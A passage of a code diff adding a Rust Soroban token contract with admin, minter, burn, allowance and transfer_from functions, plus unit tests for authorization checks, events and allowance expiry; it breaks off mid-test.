Panics if `max_supply <= 0` + /// * Panics if `max_supply < current_supply` + /// + /// # Auth + /// + /// Requires authentication from the admin address. + pub fn set_max_supply(e: Env, caller: Address, max_supply: i128) { + storage::extend_instance_ttl(&e); + caller.require_auth(); + let admin = storage::read_admin(&e); + if caller != admin { + panic!("token: unauthorized"); + } + if max_supply <= 0 { + panic!("token: max supply must be positive"); + } + if max_supply < storage::read_supply(&e) { + panic!("token: max supply below current supply"); + } + storage::write_max_supply(&e, max_supply); + + MaxSupplyUpdatedEvent { admin, max_supply }.publish(&e); + } + + /// Returns the token name. + /// + /// # Returns + /// + /// The human-readable name of the token. + pub fn name(e: Env) -> String { + storage::extend_instance_ttl(&e); + storage::read_name(&e) + } + + /// Returns the token symbol/ticker. + /// + /// # Returns + /// + /// The token symbol (e.g., "ECO"). + pub fn symbol(e: Env) -> String { + storage::extend_instance_ttl(&e); + storage::read_symbol(&e) + } + + /// Returns the number of decimal places for token display. + /// + /// # Returns + /// + /// The decimal precision as a u32. + pub fn decimal(e: Env) -> u32 { + storage::extend_instance_ttl(&e); + storage::read_decimal(&e) + } + + /// SEP-0041 alias for `decimal`. + /// + /// # Returns + /// + /// The number of decimal places for token display. + pub fn decimals(e: Env) -> u32 { + storage::extend_instance_ttl(&e); + storage::read_decimal(&e) + } + + /// Updates token metadata (SEP-0041 `set_metadata`). Admin-only. + /// + /// # Arguments + /// + /// * `caller` - The address invoking the function (must be admin) + /// * `name` - The new token name + /// * `symbol` - The new token symbol + /// * `decimal` - The new decimal precision + /// + /// # Panics + /// + /// Panics if caller is not the admin. + /// + /// # Auth + /// + /// Requires authentication from the admin address. + pub fn set_metadata(e: Env, caller: Address, name: String, symbol: String, decimal: u32) { + storage::extend_instance_ttl(&e); + caller.require_auth(); + let admin = storage::read_admin(&e); + if caller != admin { + panic!("token: unauthorized"); + } + storage::write_metadata(&e, &name, &symbol, &decimal); + + MetadataUpdatedEvent { + admin, + name, + symbol, + decimal, + } + .publish(&e); + } + + /// Returns the current admin address. + /// + /// # Returns + /// + /// The address of the current administrator. + pub fn admin(e: Env) -> Address { + storage::extend_instance_ttl(&e); + storage::read_admin(&e) + } + + /// Transfers the admin role to a new address. + /// + /// # Arguments + /// + /// * `current_admin` - The current admin address (must authorize) + /// * `new_admin` - The new admin address to transfer control to + /// + /// # Panics + /// + /// * Panics if `current_admin` is not the stored admin + /// * Panics if `new_admin == current_admin` + /// + /// # Auth + /// + /// Requires authentication from the current admin address. + pub fn propose_admin(e: Env, current_admin: Address, new_admin: Address) { + storage::extend_instance_ttl(&e); + current_admin.require_auth(); + let stored_admin = storage::read_admin(&e); + if current_admin != stored_admin { + panic!("token: unauthorized"); + } + if new_admin == current_admin { + panic!("token: new admin must be different"); + } + storage::write_pending_admin(&e, &new_admin); + AdminProposedEvent { + current_admin, + proposed_admin: new_admin, + } + .publish(&e); + } + + pub fn accept_admin(e: Env, pending_admin: Address) { + storage::extend_instance_ttl(&e); + pending_admin.require_auth(); + let proposed = + storage::read_pending_admin(&e).unwrap_or_else(|| panic!("token: no pending admin")); + if pending_admin != proposed { + panic!("token: unauthorized pending admin"); + } + storage::write_admin(&e, &pending_admin); + storage::remove_pending_admin(&e); + AdminAcceptedEvent { + new_admin: pending_admin, + } + .publish(&e); + } + + // DEPRECATED: use propose_admin. This alias preserves the existing ABI while + // requiring the proposed admin to accept before gaining control. + pub fn transfer_admin(e: Env, current_admin: Address, new_admin: Address) { + storage::extend_instance_ttl(&e); + Self::propose_admin(e, current_admin, new_admin); + } + + /// Returns the current minter address. + /// + /// # Returns + /// + /// The address authorized to mint new tokens. + pub fn minter(e: Env) -> Address { + storage::extend_instance_ttl(&e); + storage::read_minter(&e) + } + + /// Sets the minter address. Admin-only. + /// + /// # Arguments + /// + /// * `caller` - The address invoking the function (must be admin) + /// * `new_minter` - The new address to authorize as minter + /// + /// # Panics + /// + /// Panics if caller is not the admin. + /// + /// # Auth + /// + /// Requires authentication from the admin address. + pub fn set_minter(e: Env, caller: Address, new_minter: Address) { + storage::extend_instance_ttl(&e); + caller.require_auth(); + let admin = storage::read_admin(&e); + if caller != admin { + panic!("token: unauthorized"); + } + // The minting role must remain separate from the admin role. Allowing + // `minter == admin` (the caller here) collapses the role separation the + // security model depends on, so reject it explicitly. + if new_minter == caller { + panic!("token: minter must differ from admin"); + } + let previous_minter = storage::read_minter(&e); + storage::write_minter(&e, &new_minter); + MinterUpdatedEvent { + admin, + previous_minter, + new_minter, + } + .publish(&e); + } + + /// Burns tokens from an address, reducing the total supply. + /// + /// # Arguments + /// + /// * `from` - The address to burn tokens from (must authorize) + /// * `amount` - The amount of tokens to burn (must be positive) + /// + /// # Panics + /// + /// * Panics if `amount <= 0` + /// * Panics if `from` has insufficient balance + /// + /// # Auth + /// + /// Requires authentication from the `from` address. + pub fn burn(e: Env, from: Address, amount: i128) { + storage::extend_instance_ttl(&e); + from.require_auth(); + + if amount <= 0 { + panic!("token: amount must be positive"); + } + + let balance = storage::read_balance(&e, &from); + if balance < amount { + panic!("token: insufficient balance"); + } + + storage::write_balance( + &e, + &from, + balance.checked_sub(amount).expect("balance underflow"), + ); + + let supply = storage::read_supply(&e); + storage::write_supply(&e, supply.checked_sub(amount).expect("supply underflow")); + + BurnEvent { + from: from.clone(), + amount, + } + .publish(&e); + } + + /// Approves a spender to transfer tokens on behalf of an owner. + /// + /// # Arguments + /// + /// * `owner` - The address owning the tokens (must authorize) + /// * `spender` - The address being authorized to spend on behalf of owner + /// * `amount` - The maximum amount the spender can transfer (must be non-negative) + /// * `expiration_ledger` - The ledger sequence number at which this allowance expires + /// + /// # Panics + /// + /// * Panics if `amount < 0` + /// * Panics if `expiration_ledger <= current_ledger_sequence` + /// + /// # Auth + /// + /// Requires authentication from the owner address. + pub fn approve(e: Env, owner: Address, spender: Address, amount: i128, expiration_ledger: u32) { + storage::extend_instance_ttl(&e); + owner.require_auth(); + + if amount < 0 { + panic!("token: amount must be non-negative"); + } + if expiration_ledger <= e.ledger().sequence() { + panic!("token: expiration must be in the future"); + } + + let allowance = storage::Allowance { + amount, + expiration_ledger, + }; + storage::write_allowance(&e, &owner, &spender, &allowance); + + ApproveEvent { + owner, + spender, + amount, + expiration_ledger, + } + .publish(&e); + } + + /// Returns the current allowance for a spender to transfer tokens from an owner. + /// + /// # Arguments + /// + /// * `owner` - The address that granted the allowance + /// * `spender` - The address that was granted the allowance + /// + /// # Returns + /// + /// The current allowance amount, or 0 if no allowance exists or it has expired. + pub fn allowance(e: Env, owner: Address, spender: Address) -> i128 { + storage::extend_instance_ttl(&e); + match storage::read_allowance(&e, &owner, &spender) { + Some(a) => { + if a.expiration_ledger < e.ledger().sequence() { + // Lazy cleanup: drop the expired allowance key from storage to + // reclaim ledger rent. The return value stays 0 per SEP-0041, + // so callers that only care about the amount are unaffected. + storage::remove_allowance(&e, &owner, &spender); + 0 + } else { + a.amount + } + } + None => 0, + } + } + + /// Returns an allowance together with its expiration ledger. + /// + /// # Arguments + /// + /// * `owner` - The address that granted the allowance + /// * `spender` - The address that was granted the allowance + /// + /// # Returns + /// + /// Returns `None` when no allowance exists for the `(owner, spender)` pair. + /// Otherwise, returns `Some((amount, expiration_ledger))`. The amount is zero + /// when the allowance has expired, allowing callers to distinguish an expired + /// approval from one that was never created. + /// + /// # Auth + /// + /// No authentication is required. + pub fn allowance_with_expiry(e: Env, owner: Address, spender: Address) -> Option<(i128, u32)> { + storage::extend_instance_ttl(&e); + let current_sequence = e.ledger().sequence(); + match storage::read_allowance(&e, &owner, &spender) { + Some(a) => { + if a.expiration_ledger < current_sequence { + Some((0, a.expiration_ledger)) + } else { + Some((a.amount, a.expiration_ledger)) + } + } + None => None, + } + } + + /// Transfers tokens from one address to another using an approved allowance. + /// + /// # Arguments + /// + /// * `spender` - The address authorized to spend (must authorize) + /// * `from` - The address owning the tokens + /// * `to` - The address receiving the tokens + /// * `amount` - The amount of tokens to transfer (must be positive) + /// + /// # Panics + /// + /// * Panics if `amount <= 0` + /// * Panics if `from == to` + /// * Panics if no allowance exists or it has expired + /// * Panics if the allowance is insufficient for the transfer amount + /// * Panics if `from` has insufficient balance + /// + /// # Auth + /// + /// Requires authentication from the spender address. + pub fn transfer_from(e: Env, spender: Address, from: Address, to: Address, amount: i128) { + storage::extend_instance_ttl(&e); + spender.require_auth(); + + if amount <= 0 { + panic!("token: amount must be positive"); + } + + if from == to { + panic!("token: cannot transfer to self"); + } + + let allowance = match storage::read_allowance(&e, &from, &spender) { + Some(a) => { + if a.expiration_ledger < e.ledger().sequence() { + panic!("token: allowance expired"); + } + a + } + None => panic!("token: allowance not found"), + }; + + if allowance.amount < amount { + panic!("token: insufficient allowance"); + } + + storage::spend_allowance(&e, &from, &spender, &allowance, amount); + + let from_balance = storage::read_balance(&e, &from); + if from_balance < amount { + panic!("token: insufficient balance"); + } + + storage::write_balance( + &e, + &from, + from_balance.checked_sub(amount).expect("balance underflow"), + ); + + let to_balance = storage::read_balance(&e, &to); + storage::write_balance( + &e, + &to, + to_balance.checked_add(amount).expect("balance overflow"), + ); + + TransferFromEvent { + from, + to, + spender: spender.clone(), + amount, + } + .publish(&e); + } +} + +#[cfg(test)] +mod test { + extern crate std; + use std::format; + + use crate::{TokenContract, TokenContractClient}; + use soroban_sdk::testutils::Address as _; + use soroban_sdk::testutils::Ledger as _; + use soroban_sdk::{Address, Env, String}; + + #[test] + fn test_initialize_and_metadata() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + assert_eq!(client.name(), String::from_str(&e, "ECO")); + assert_eq!(client.symbol(), String::from_str(&e, "ECO")); + assert_eq!(client.decimal(), 7); + assert_eq!(client.total_supply(), 0); + } + + #[test] + fn test_mint_and_balance() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &1000); + + assert_eq!(client.balance(&user), 1000); + assert_eq!(client.total_supply(), 1000); + } + + #[test] + fn test_transfer() { + let e = Env::default(); + let admin = Address::generate(&e); + let from = Address::generate(&e); + let to = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&from, &500); + client.transfer(&from, &to, &300); + + assert_eq!(client.balance(&from), 200); + assert_eq!(client.balance(&to), 300); + } + + #[test] + #[should_panic(expected = "token: amount must be positive")] + fn test_mint_zero_amount() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &0); + } + + #[test] + #[should_panic(expected = "token: insufficient balance")] + fn test_transfer_insufficient_balance() { + let e = Env::default(); + let admin = Address::generate(&e); + let from = Address::generate(&e); + let to = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.transfer(&from, &to, &100); + } + + #[test] + #[should_panic] + fn test_mint_requires_minter_auth() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + client.mint(&user, &1000); + } + + #[test] + fn test_initial_minter_is_admin() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + assert_eq!(client.minter(), admin); + } + + #[test] + fn test_set_minter_transfers_minting_rights() { + let e = Env::default(); + let admin = Address::generate(&e); + let minter = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_minter(&admin, &minter); + assert_eq!(client.minter(), minter); + + client.mint(&user, &1000); + assert_eq!(client.balance(&user), 1000); + assert_eq!(client.total_supply(), 1000); + } + + #[test] + #[should_panic(expected = "token: unauthorized")] + fn test_set_minter_unauthorized() { + let e = Env::default(); + let admin = Address::generate(&e); + let attacker = Address::generate(&e); + let minter = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_minter(&attacker, &minter); + } + + #[test] + fn test_set_minter_emits_minter_updated_event() { + use soroban_sdk::testutils::Events as _; + use soroban_sdk::vec; + use soroban_sdk::{IntoVal, Symbol, Val}; + let e = Env::default(); + let admin = Address::generate(&e); + let minter = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_minter(&admin, &minter); + + let events = e.events().all(); + let topics: soroban_sdk::Vec = vec![ + &e, + Symbol::new(&e, "minter_updated_event").to_val(), + admin.clone().into_val(&e), + ]; + let data: Val = soroban_sdk::Map::::from_array( + &e, + [ + ( + Symbol::new(&e, "previous_minter"), + admin.clone().into_val(&e), + ), + (Symbol::new(&e, "new_minter"), minter.clone().into_val(&e)), + ], + ) + .into_val(&e); + + assert_eq!(events, vec![&e, (contract_id.clone(), topics, data)]); + + assert_eq!(client.minter(), minter); + } + + #[test] + #[should_panic(expected = "token: minter must differ from admin")] + fn test_set_minter_rejects_admin_as_minter() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + // Setting the minter to the admin itself collapses role separation. + client.set_minter(&admin, &admin); + } + + #[test] + #[should_panic(expected = "token: already initialized")] + fn test_double_initialize_fails() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + } + + #[test] + fn test_transfer_admin() { + let e = Env::default(); + let admin = Address::generate(&e); + let new_admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.transfer_admin(&admin, &new_admin); + assert_eq!(client.admin(), admin); + client.accept_admin(&new_admin); + assert_eq!(client.admin(), new_admin); + } + + #[test] + fn test_propose_admin_overwrite() { + let e = Env::default(); + let admin = Address::generate(&e); + let first = Address::generate(&e); + let second = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + e.mock_all_auths(); + client.propose_admin(&admin, &first); + client.propose_admin(&admin, &second); + client.accept_admin(&second); + assert_eq!(client.admin(), second); + } + + #[test] + #[should_panic(expected = "token: unauthorized pending admin")] + fn test_accept_admin_wrong_address() { + let e = Env::default(); + let admin = Address::generate(&e); + let pending = Address::generate(&e); + let wrong = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + e.mock_all_auths(); + client.propose_admin(&admin, &pending); + client.accept_admin(&wrong); + } + + #[test] + #[should_panic(expected = "token: no pending admin")] + fn test_accept_admin_without_proposal() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + e.mock_all_auths(); + client.accept_admin(&Address::generate(&e)); + } + + #[test] + #[should_panic(expected = "token: unauthorized")] + fn test_transfer_admin_unauthorized() { + let e = Env::default(); + let admin = Address::generate(&e); + let attacker = Address::generate(&e); + let new_admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.transfer_admin(&attacker, &new_admin); + } + + #[test] + #[should_panic(expected = "token: new admin must be different")] + fn test_transfer_admin_same_address() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.transfer_admin(&admin, &admin); + } + + #[test] + fn test_burn() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &1000); + client.burn(&user, &400); + + assert_eq!(client.balance(&user), 600); + assert_eq!(client.total_supply(), 600); + } + + #[test] + fn test_burn_emits_event_with_indexed_from() { + use soroban_sdk::testutils::Events as _; + use soroban_sdk::vec; + use soroban_sdk::{IntoVal, Symbol, Val}; + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &1000); + client.burn(&user, &400); + + let events = e.events().all(); + let expected_topics: soroban_sdk::Vec = vec![ + &e, + Symbol::new(&e, "burn_event").to_val(), + user.clone().into_val(&e), + ]; + let expected_data: Val = soroban_sdk::Map::::from_array( + &e, + [(Symbol::new(&e, "amount"), 400i128.into_val(&e))], + ) + .into_val(&e); + + assert_eq!( + events, + vec![&e, (contract_id, expected_topics, expected_data)] + ); + } + + #[test] + #[should_panic(expected = "token: insufficient balance")] + fn test_burn_more_than_balance() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &100); + client.burn(&user, &200); + } + + #[test] + #[should_panic(expected = "token: amount must be positive")] + fn test_burn_zero_amount() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.burn(&user, &0); + } + + #[test] + fn test_approve_and_transfer_from() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let recipient = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&owner, &1000); + client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); + + assert_eq!(client.allowance(&owner, &spender), 500); + + client.transfer_from(&spender, &owner, &recipient, &300); + + assert_eq!(client.balance(&owner), 700); + assert_eq!(client.balance(&recipient), 300); + assert_eq!(client.allowance(&owner, &spender), 200); + } + + #[test] + fn test_transfer_from_emits_event() { + use soroban_sdk::testutils::Events as _; + use soroban_sdk::IntoVal; + use soroban_sdk::{vec, Symbol, Val}; + + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let recipient = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&owner, &1000); + client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); + + client.transfer_from(&spender, &owner, &recipient, &300); + + let events = e.events().all(); + let transfer_from_topics: soroban_sdk::Vec = vec![ + &e, + Symbol::new(&e, "transfer_from_event").to_val(), + owner.into_val(&e), + recipient.into_val(&e), + spender.into_val(&e), + ]; + let transfer_from_data: Val = soroban_sdk::Map::::from_array( + &e, + [(Symbol::new(&e, "amount"), 300i128.into_val(&e))], + ) + .into_val(&e); + + assert_eq!( + events, + vec![&e, (contract_id, transfer_from_topics, transfer_from_data),] + ); + } + + #[test] + #[should_panic(expected = "token: insufficient allowance")] + fn test_transfer_from_exceeds_allowance() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let recipient = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&owner, &1000); + client.approve(&owner, &spender, &100, &(e.ledger().sequence() + 100)); + client.transfer_from(&spender, &owner, &recipient, &200); + } + + #[test] + #[should_panic(expected = "token: allowance not found")] + fn test_transfer_from_no_allowance() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let recipient = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&owner, &1000); + client.transfer_from(&spender, &owner, &recipient, &100); + } + + #[test] + #[should_panic(expected = "token: cannot transfer to self")] + fn test_transfer_from_self_is_rejected() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&owner, &1000); + client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); + client.transfer_from(&spender, &owner, &owner, &100); + } + + #[test] + fn test_zero_allowance_returns_zero() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + assert_eq!(client.allowance(&owner, &spender), 0); + } + + #[test] + fn test_allowance_with_expiry_live() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + let expiration_ledger = e.ledger().sequence() + 100; + client.approve(&owner, &spender, &500, &expiration_ledger); + + // Live allowance: both allowance and allowance_with_expiry reflect the + // live amount. + assert_eq!(client.allowance(&owner, &spender), 500); + assert_eq!( + client.allowance_with_expiry(&owner, &spender), + Some((500, expiration_ledger)) + ); + } + + #[test] + fn test_allowance_with_expiry_expired() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + let expiration_ledger = e.ledger().sequence() + 50; + client.approve(&owner, &spender, &500, &expiration_ledger); + + // Advance past the expiration ledger so the allowance is expired. + e.ledger().set_sequence_number(expiration_ledger + 1); + + // allowance_with_expiry exposes the fact that an allowance WAS set and + // is now expired (note: this must be read before allowance(), because + // allowance() lazily cleans up the expired storage key). + assert_eq!( + client.allowance_with_expiry(&owner, &spender), + Some((0, expiration_ledger)) + ); + // allowance() must still return 0. + assert_eq!(client.allowance(&owner, &spender), 0); + } + + #[test] + fn test_allowance_with_expiry_none() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + // No allowance ever set: allowance is 0 and allowance_with_expiry is + // None, distinguishing "never approved" from "expired". + assert_eq!(client.allowance(&owner, &spender), 0); + assert_eq!(client.allowance_with_expiry(&owner, &spender), None); + } + + #[test] + fn test_allowance_lazy_cleanup_of_expired() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + let expiration_ledger = e.ledger().sequence() + 50; + client.approve(&owner, &spender, &500, &expiration_ledger); + e.ledger().set_sequence_number(expiration_ledger + 1); + + // Before cleanup, allowance_with_expiry still sees the expired entry. + assert_eq!( + client.allowance_with_expiry(&owner, &spender), + Some((0, expiration_ledger)) + ); + + // Calling allowance() on the expired entry lazily removes the storage + // key, so the expired allowance is now indistinguishable from "none". + assert_eq!(client.allowance(&owner, &spender), 0); + assert_eq!(client.allowance_with_expiry(&owner, &spender), None); + } + + #[test] + #[should_panic(expected = "token: amount must be positive")] + fn test_mint_negative_amount() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &-100); + } + + #[test] + #[should_panic(expected = "token: amount must be positive")] + fn test_transfer_negative_amount() { + let e = Env::default(); + let admin = Address::generate(&e); + let from = Address::generate(&e); + let to = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&from, &1000); + client.transfer(&from, &to, &-50); + } + + #[test] + #[should_panic(expected = "token: amount must be positive")] + fn test_burn_negative_amount() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.burn(&user, &-100); + } + + #[test] + #[should_panic(expected = "token: cannot transfer to self")] + fn test_transfer_to_self() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &1000); + client.transfer(&user, &user, &500); + } + + #[test] + fn test_transfer_valid_addresses_still_works() { + let e = Env::default(); + let admin = Address::generate(&e); + let from = Address::generate(&e); + let to = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&from, &1000); + client.transfer(&from, &to, &400); + + assert_eq!(client.balance(&from), 600); + assert_eq!(client.balance(&to), 400); + } + + #[test] + fn test_approve_overwrites_previous() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); + assert_eq!(client.allowance(&owner, &spender), 500); + + 